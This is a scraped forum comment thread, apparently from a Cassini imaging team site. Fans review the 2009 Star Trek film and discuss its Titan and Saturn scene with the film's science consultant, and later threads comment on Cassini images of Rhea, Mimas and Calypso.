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My two kids both have met Carolyn and are fans of hers as well as the original Star Trek. My son first saw the trailer last summer and was really excited about seeing this film. He had it built up so much in his mind that I was worried he might be disappointed.
He wasn't. He and his sister (who happens to have studied Enceladus extensively as a budding geologist) both saw the film at an IMAX theater in Anaheim. Both stayed through the credits and cheered when Carolyn's name came up.
Here is Taylor's review:

It was an Indiana Jones meets Star Wars thrill ride! The relationship
between the three musketeers(kirk, spock, bones) was amazing. The new
actors boldly go to new heights. They took the characters to different
places, emotionally, than what was seen in the original series. At the
same time, it was nice to see a lot of the same characteristics and
lines that we all know and love. I have already seen it a second time.
Its that good. Tyanna and I both smiled for the cassini moment(i dont
want to ruin it for you dad).

I'll send Tyanna's commentary when I get it from her. Needless to say, my 19 year old son loved the film and ranks it amongst his all time top five favorite films. I am waiting for Godot. Then I will go see it...


dschlom      
05-12-2009  14:24:32

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My two kids both have met Carolyn and are fans of hers as well as the original Star Trek. My son first saw the trailer last summer and was really excited about seeing this film. He had it built up so much in his mind that I was worried he might be disappointed.
He wasn't. He and his sister (who happens to have studied Enceladus extensively as a budding geologist) both saw the film at an IMAX theater in Anaheim. Both stayed through the credits and cheered when Carolyn's name came up.
Here is Taylor's review:

It was an Indiana Jones meets Star Wars thrill ride! The relationship
between the three musketeers(kirk, spock, bones) was amazing. The new
actors boldly go to new heights. They took the characters to different
places, emotionally, than what was seen in the original series. At the
same time, it was nice to see a lot of the same characteristics and
lines that we all know and love. I have already seen it a second time.
Its that good. Tyanna and I both smiled for the cassini moment(i dont
want to ruin it for you dad).

I'll send Tyanna's commentary when I get it from her. Needless to say, my 19 year old son loved the film and ranks it amongst his all time top five favorite films. I am waiting for Godot. Then I will go see it...


carolyn      
05-12-2009  12:36:14

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PolishBear and others: I've already explained the `Titan above the ring plane' bit below. But one of your statements ... that Saturn should be much farther in the distance...is not correct. Whether or not it appears to be `close' or `far' would depend on your distance from Titan while `filming', *and* the focal length and field of view of your imaging device. You can take a look at the image at http://ciclops.org/view.php?id=1776 and the one at http://ciclops.org/view.php?id=983 and you'll see that the relationship between Titan and Saturn in the movie is ok.

The Star Trek digital artists *did* get a few things right: the colors of Titan and Saturn, most of the details in the rings, etc. As I said, I was happy to be able to get something at all of our discoveries at Saturn in this very popular movie. Progress almost always proceeds slower than we would like, but this is progress.
Ron Miller      
05-12-2009  09:04:00

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I absolutely loved the movie but it would have been nice (even if a nitpick) to have seen Titan at least remotely near its right place.
PolishBear      
05-12-2009  08:33:10

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As someone who is rapidly closing in on 50 years of age, Im of that generation that used to play Star Trek on the jungle gym back in elementary school. Ive watched all the TV series, seen all the movies and yet, watching this new film in the theater just yesterday, I suddenly started feeling very OLD. There is no doubt that J.J. Abrams wanted to revive the Star Trek franchise, and at the same time make it appeal to a younger, hipper audience. Im not going to get all apoplectic over the films straying from canon AFTER ALL, this is science fiction, not World History. And anyway, I can attribute those changes to the alternate realities that the new film employs as easily as it employs Red Matter (retrieved, I guess, the the Universes biggest Lava Lamp). Of course, no amount of alternate reality could change James T. Kirks predilection for green-skinned alien babes.

But theres one thing I cannot forgive J.J. Abrams for, and thats depicting Titan so far above Saturns ecliptic! Sure, it was a lovely, DRAMATIC shot, but cant scientific accuracy figure into the film JUST A LITTLE BIT??? I'm SURE the folks here at CICLOPS had to be squirming just a tad. As we all know, a realistic shot would've placed Saturn much farther in the distance, with the rings nearly edge-on. But let's face it: When it comes to movies, eye candy will win out over scientific accuracy every time.

I will also say this: The death of Spocks mother, Amanda Grayson, upset me deeply. You can say what you want about alternate realities, but I really dont think this was necessary to the plot of the film. Even though she appeared in just one episode of the original series and a couple of the earlier movies, I was very fond of her, especially as portrayed with such grace by Jane Wyatt.

All that having been said, Ill give the film 7 out of 10 stars. Heres hoping the NEXT film in the franchise is just a little MEATIER.
billclawson      
05-11-2009  14:47:22

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The movie was great! Although I'm still nostalgic over many (not all) of the Star Trek films, this one beats them all. Great character story and brilliant special effects. I'm assuming 'red matter' is sort of a 24th century 'dark matter'. Parts of the story were a little choppy for me. The treatment of the ice world, 'Delta Vega', was a bit awkward. It's stunning view of Vulcan would've required that it be a moon of said same. Given that Vulcan is supposed to be a hot, dry world, this seems unlikely. Given the name 'Delta Vega', this seems unlikely too.
drewbot      
05-11-2009  00:49:00

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We just saw Star Trek.
Short review: we should've brought helmets along because it blew our minds!
Long review:
To use an analogy: imagine an old song you love and listen to all the time, and you hear that some new singer is going to re-record it. Usually, the new recording is a disappointment - but sometimes, it's a revelation. For example, I used to think that Bob Dylan was the only person who could sing "All Along The Watchtower" - until I heard Jimi Hendrix's version. As good as Dylan made it sound, well, somehow Hendrix just played it better.
It was the same old Star Trek we've known and loved for so long - but they played it better.
You recognize the characters, to be sure. But they're even more real than they were 35 years ago, like an old negative that's been enhanced digitally. Finally, Uhura has a lot more to say than 'Hailing frequencies are open'. Sulu's fencing skills aren't just a gimmicky hobby, he wields that sword like Obi-Wan on his best day. Scotty doesn't just pull the levers on the transporter, he helped improve the technology. Bones was crafty like a fox before he met Kirk (he's the one that comes up with the plan to sneak cadet Kirk onboard); it may be that he taught Kirk how to bend the rules, rather than the other way around.
You recognize the ship, but, like a lot in the film, everything old is new again: the Enterprise never looked better. You get to see how Kirk could fall in love with her at first sight, and you even get to see the moment he does.
You see the shoot-outs and fist-fights you expect in an adventure movie, but, like the original ST, they usually are the least exciting types of conflicts. The inner conflicts (logic vs. emotion, self-pity vs. boldness), and the intraship conflicts (Kirk Vs. Spock vs. Bones), are where the real action is.
You understand Spock's decision to enter the Academy, as one word - "disadvantage" - makes you see why he makes the choice he does. As soon as that word is spoken, it's the decision you want him to make.
You understand what drives Kirk more than you ever did. Born on a battlefield, drowning in a bottle, one word - "challenge" - helps him make his choice. The recurring motif of him holding onto the edge of a precipice, and climbing his way out of it, shows the essence of his struggle and his persistence of his character.
You see Spock and Kirk as twin sons of separate mothers. Both lose a parent in a terrorist's attack; both struggle to be someone they are not. Neither becomes the person they want or expect to be, but they are each forced to recognize and confront that which has kept them from becoming a better person.
And you are reminded that time is a bit fluid: the future is whatever we choose to make it, both individually and as a species. Destiny is a future to be made, not a pre-ordained fate to follow. That said, it felt like a punch to the gut when Spock said "I find myself to be a member of an endangered species." That may seem to be our destiny as well, but it doesn't have to be our fate. We can still climb out of the precipice we find ourselves on the edge of. It will not be easy, but ST rekindles the hope that we can survive, and gives us a glimpse at the wonder that awaits us if we boldly choose to do so.
* * *
So we loved the movie, but we also experienced a bit of the ST phenomena afterwards. My wife's parents, who dislike Sci-Fi in general and ST in particular, loved the movie. They couldn't stop raving about it when we talked to them, I think they enjoyed it even more than we did! It was the first good family moment we've had since just before the election, when we had some really bad moments discussing politics. I think ST shows the future we all want, even if we disagree on how to get there and what our chances are. At least I have that hope again.
* * *
We do have a question that you, as an insider, might be able to answer. That admiral's beagle that Scotty "lost" - was its name Porthos and was the admiral named Archer? We hoped so - we never liked ST:Enterprise and its little dog too.
* * *
We loved seeing the Enterprise rising out of Titan's atmosphere with Saturn's grand rings in the background (the backdrop was an actual Cassinin image, wasn't it?). We had hoped that when the prequel TV series ST:Enterprise would start with the exploration of our solar system. Even if humans had gone to some of the closer planets (Mars, Venus) before warp drive was invented, all of the known planets would have become immediately accessible with the advent of warp drive and radiation shielding. We now know enough about our solar system to tell realistic stories on the majority of the worlds within, but there is still a lot of mystery and wonder he in our own backyard.
msabb      
05-10-2009  20:30:47

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I agree with wow. I too have been a fan since the 60's when I used to go to my grandfather's house to watch it with him on his COLOR TV. I really liked the film and found that it rang true with the original in obvious and subtle ways. I agree with a comment I read elsewhere. This is the Casino Royale of Star Trek. By the way, new films are less than $4 here in Bangkok for fantastic theaters.
Milka      
05-10-2009  04:51:46

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I enjoyed the film very much. Ive been a Star trek fan for many years and I have to say: Great job, Mr. Abrams and everybody in his team. Great job the Ciclops team. Thank you.
Nad for those who hasnt seen it yet: Go and see it!
Jay55      
05-10-2009  03:38:40

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That was so cool seeing Enterprise rise out of the clouds of Titan with Saturn in the background. It must be great Carolyn seeing an idea you suggested manifest itself on the big screen. My family had to wait with me at the end until I saw your name in the credits too. Congratulations, and what a great opportunity for Cassini to be put in the spotlight. You have done so much Carolyn to bring this amazing scientific acheivment to the public eye. I heard somewhere that you were thinking about making an IMAX film showing Cassini images. That has to be on the cards now after this film. And for all the nit-pickers ITS A MOVIE! and certainly one of the best TREK movies ever. I love all the character. The actors reallyl nailed them. Great experience I have to see it again!
mipsandbips      
05-09-2009  20:43:14

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The Saturn scene was great and so was the idea on Titan's atmosphere as a hiding place for the USS Enterprise!
Now we all know that Romulans and red matter don't mix!
Good old spock,"Live long and prosper"
laurabudz      
05-09-2009  18:28:40

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That was AWESOME! The cast really brought out the spirit of the original characters; they all really did a superb job.

Had a big smile on my face when they flew in front of Saturn...

Yea, Spock and Uhura make a good couple!
toomanytribbles      
05-09-2009  14:34:51

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i just came back from the movie -- and i was blown away. i have lots of thoughts i still have to gather together... i hope to put them down tomorrow.

but now, suffice to say that i found myself crying happily in the end, very moved -- and i, too, stayed to see carolyn porco's name in the credits.
carolyn      
05-09-2009  12:03:55

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To all Alliance members:

As the official `science consultant' for this film, I would like to respond to the statements and criticisms made elsewhere on the web about the science of this film.

First, I was brought on to answer questions here and there, when the crew had them, but mostly to help with a particular plot/visualization dilemma as posed to me by the director, Abrams: How to hide the Enterprise when it re-enters the solar system, so that the Romulans don't know it's in the vicinity until too late.

It was my suggestion to have it come out of warp drive in the atmosphere of Titan, and rise up through the haze, submarine style, since I knew it could be made into a very dramatic scene. To my delight and astonishment, Abrams thought the idea was `brilliant' and immediately used it. I was expecting to be asked at some point how to get around the obvious problem that any respectable starship, Federation or Romulan, would have no trouble picking up the presence of an alien ship by other than visual means, but I never was. I didn't realize until seeing the final result for the first time myself only last week that they imagined it could be made invisible by the magnetic field of Saturn's rings. Of course, the rings don't have a magnetic field, and even Saturn's is not very strong -- certainly not as strong as Jupiter's -- and I would gladly have informed them of such had I known.

The diminution of the haze in Titan's uppermost atmosphere would be gradual with increasing altitude, but a sharper boundary makes for a more dramatic scene. And while we're nit-picking, there is yet another matter that's not technically right as far as we know: the upper haze would be horizontally uniform, and at some 200 km above the surface you wouldn't see the effects of convection, like the hummocky, clouds that are depicted in the movie.

Finally, in seeing intermediate stages of the Saturn scene, I noted that Titan was too far above the rings, and suggested that the special effects artists at ILM add in the drama of seeing Saturn and its rings in the background by pulling back and far above Titan, with the camera following the Enterprise as it rises. However, I was told that it was too far a camera move to execute and would take more time than they wanted to allot for this scene.

In the end, even I have to remind myself that this is a movie, and movies need to have visual as well as human drama. And not unlike spaceflight missions, they are big projects that must live within other, far more mundane constraints. It would be a great thing if sufficient will, time and resources could be brought to bear in film-making to make all representations of the world, natural or otherwise, precisely accurate. But then, that is asking the impossible: Remember, if you were physically in the Saturn system, it would be as dark as twilight on Earth. So, even putting a representation of Saturn on the screen so that we could see it with ease is already a violation.

Also, this particular movie is based on a well-established set of futuristic capabilities (warp drive, phasers, transporters, etc) that are certainly, at present, physically impossible and are likely not to be available even 200 years from now. So, we can't all joyously accept one collection of impossibilities, and complain bitterly about another.

From my point of view, it was a wonderful thing that Abrams cared enough about getting things right that he asked for the opinions of a scientist. I've encountered others in Hollywood in the past who did't feel any obligation whatsoever to honor the truth, so the heart of this particular production was exactly in the right place. And I felt gratifed, even triumphant, to see some of our spectacular findings at Saturn depicted on the big screen. Remember: Stanley Kubrick put the monolith in the movie `2001' on a moon of Jupiter, instead of on the Saturnian moon Iapetus where it originally belonged, because he couldn't figure out a way to get Saturn's rings looking right. Well, we don't have *that* problem anymore, now do we?

On a different note, I have to say that I have fallen in love with this movie. The special effects have finally risen to a level of sophistication befitting the saga, there are humorous moments that made me laugh so hard I cried, and the new cast has done an outstanding job capturing the essence of each of the original, oh-so-memorable characters.

As one of the fans from way back in 60's, it warms me to know that with the success of this film, we are looking at the possibility of a new dawn in this beloved epic.

Or put another way ... Star Trek lives! And I, for one, am grateful for that.
spock      
05-09-2009  07:52:40

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Fascinating, if I may be so bold, that we have an alternate universe for our alternate Star Trek universe. How apropos to the 21st century- Spock gets the girl! Uhura in the sixties was proud just to be there- a black woman on the bridge. "Today's" Uhura is a fully formed uber competent human being. Things are as they should be. I was choked up at the end. I don't know why.
yosemiterob      
05-09-2009  00:41:06

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Carolyn awesome job you did on advising this movie. I've seen it twice in one day and I must say the science and imagery behind it was spectacular. You should of seen the smile on my face when the Enterprise was flying above Titan in front of Saturn.... BRAVO! Where is the poster and desktop image for computers of that shot? I will be seeing it for a third time this Sunday.
adrew123      
05-08-2009  13:48:03

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Saw the movie last night and was blown away!! I'm a fan of all the series' and movies. They did a great job with all the characters, keeping them true to the already established personalities etc. The shot of Saturn was spectacular! We waited to see Carolyn's name in the credits! Great job! Can't wait to see it again!
Judisparks      
05-08-2009  13:15:20

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Just came from seeing it an hour or so ago and am still awestruck by my first viewing -- there will be more, that is absolutely for certain. When hubby asked me how it was, the only thing that I could say was "99% perfect."

Incredible scene at Titan/Saturn -- thought of Ciclops briefly when it was on the screen. Should have known that the Ciclops team would have input. Great job!

If you haven't seen it, go. My favorite series is DS9 but this movie is.... wow.
amzolt      
05-07-2009  21:43:00

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Just saw it!!!

I was a fan of Star Trek but not an afficionado. Luckily, I went to the movie with one. He said they resolved having all the original crew on board Enterprise when Kirk took over by introducing time-travel and rewriting history. So, essentially, they could do honor to the old series but begin the saga again on different terms. He also said Paramont is committed to sequels!!

All I know is the movie was a total Blast and the way they ended with that shot of the crew on the bridge (totally mirroring the old series) brought the movie to a completely satisfying conclusion and left me with an insatiable urge to see more, More, MORE !!!
Sunburned Goose      
05-07-2009  21:34:57

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WOW. I was stunned by the rich visuals of the Enterprise within Titan, speaking through the atmosphere, with Saturn in the distance. Great work there everyone!
toomanytribbles      
05-07-2009  15:58:02

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i've got reservations at a huge screen for saturday night. woohooooo!
Red_dragon      
05-07-2009  14:33:07

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:) With the due honours, I salute all the brave crewmen of the starship USS Enterprise. Although I've some trouble with the money I'll try to go to see the movie because of you at CICLOPS; I recognize I love Star Trek TOS -the one I best know-, followed by The Next Generation.

Rhea Rev 127 Flyby Raw Preview
letmein      
04-01-2010  17:12:27

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It says that the encounter was as close as 100 km above Rhea's surface, but the closest images were acquired "at a distance of approximately 15,000 kilometers". Are the extreme closeups coming?
Red_dragon      
03-03-2010  16:05:16

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Excellent work!. Now, it's time to analyze the results and see what surprises has Rhea in store.

Closest Views of Cratered Mimas
RobfromEllicottCity      
03-29-2010  16:25:10

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Great job as always Ciclops Team! Would you please consider a request? Would you provide dimensions of the Herschel side walls and peak as they become available to the science team after analysis? How do these dimensions compare to the cliffs of Miranda? Olympus Mons? Mariner Valley? Etc. Thanks
Stacy 1928      
03-29-2010  13:38:18

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If the surface of Mimas is predominantly ice, is this ice continually sublimating into the vacuum of space ?

Mimas and Calypso Rev 126 Flyby Raw Preview
NeKto      
02-19-2010  09:12:21

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Thank you Carolyn. Hyperion it is. the effects of porosity are far more vivid there than on other moons, but the charector of the "slump" craters sugest to me that even some of the hydrodynamicly stable moons have "crusts" with higher porosity than i expected before Cassini. if i can recall the other moons i've seen them on, i'll let you know.
carolyn      
02-18-2010  11:38:47

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Nekto: I believe you are talking about Hyperion. And yes, that is the process at work on Hyperion and already described in print: http://ciclops.org/media/sp/2007/3345_8239_0.pdf
NeKto      
02-18-2010  10:16:17

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Carolyn, i greatly appreciate the fact that the team leader at CICLOPS can look at these images, see the gist of all the scientific information they offer, and still see the resemblance to the head of a fish. perhaps that is one of the reasons why so many of the images you (the whole team) have shared with us are so artistic, awe inspiring, and breathtaking.
one thing that strikes me about Mimas is what i have been calling "slump craters" a formation typical on one of the outer irregular moons whos name excapes me at the monent. i am refering to craters that sugjest low density crust with a goodly amount of space between ice crystals. making craters that look like the impactors compress more than excavate.
Rod Walker      
02-18-2010  09:18:48

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There also appears to be the upper half of an Egyptian mummy holding the crook & flail at the left of the crater!
carolyn      
02-16-2010  20:09:09

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Those of you who are interested to know how small satellites like Calypso come to have the shapes that they do should look at the Porco et al. (2007) paper on http://ciclops.org/sci/papers.php . (Look at the top of the list under 2007). In that paper we show that the shapes of the small sats near to the rings were likely due to accretion of ring material; for the inner most ones very close to the rings, the accretion must have occurred around a dense shard. For the outer small sats, like Calypso, within the region of the bigger moons, the formation process is less evident from their shape. But its surface shows how it has accumulated material. in any case, looks like the head of a fish (pointing to the left), doesn't it?
ultomatt      
02-15-2010  16:45:41

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Love the images of Mimas, especially the high res imagery of the inside of Herschel crater. Quite a chaotic landscape! I've checked through the raw imagery and there appears to be a borderline between the crater wall and the slump features...almost like a black outline...very curious. There appears to be a layer of dark material at the transition between the avalanche features and the steep crater wall. I've been waiting a long time to see details inside this amazing crater...you haven't disappointed, once again!

And then there's Calypso at what, 30 kilometers in the long axis? What an amazing image of that tiny bit o' real estate! The flow features on the surface bear a resemblance to glacial features on Earth, with a serpentine path evident. There appears to be a river of ice flowing from top right to center bottom in the image. And the near total absence of craters makes it clear that this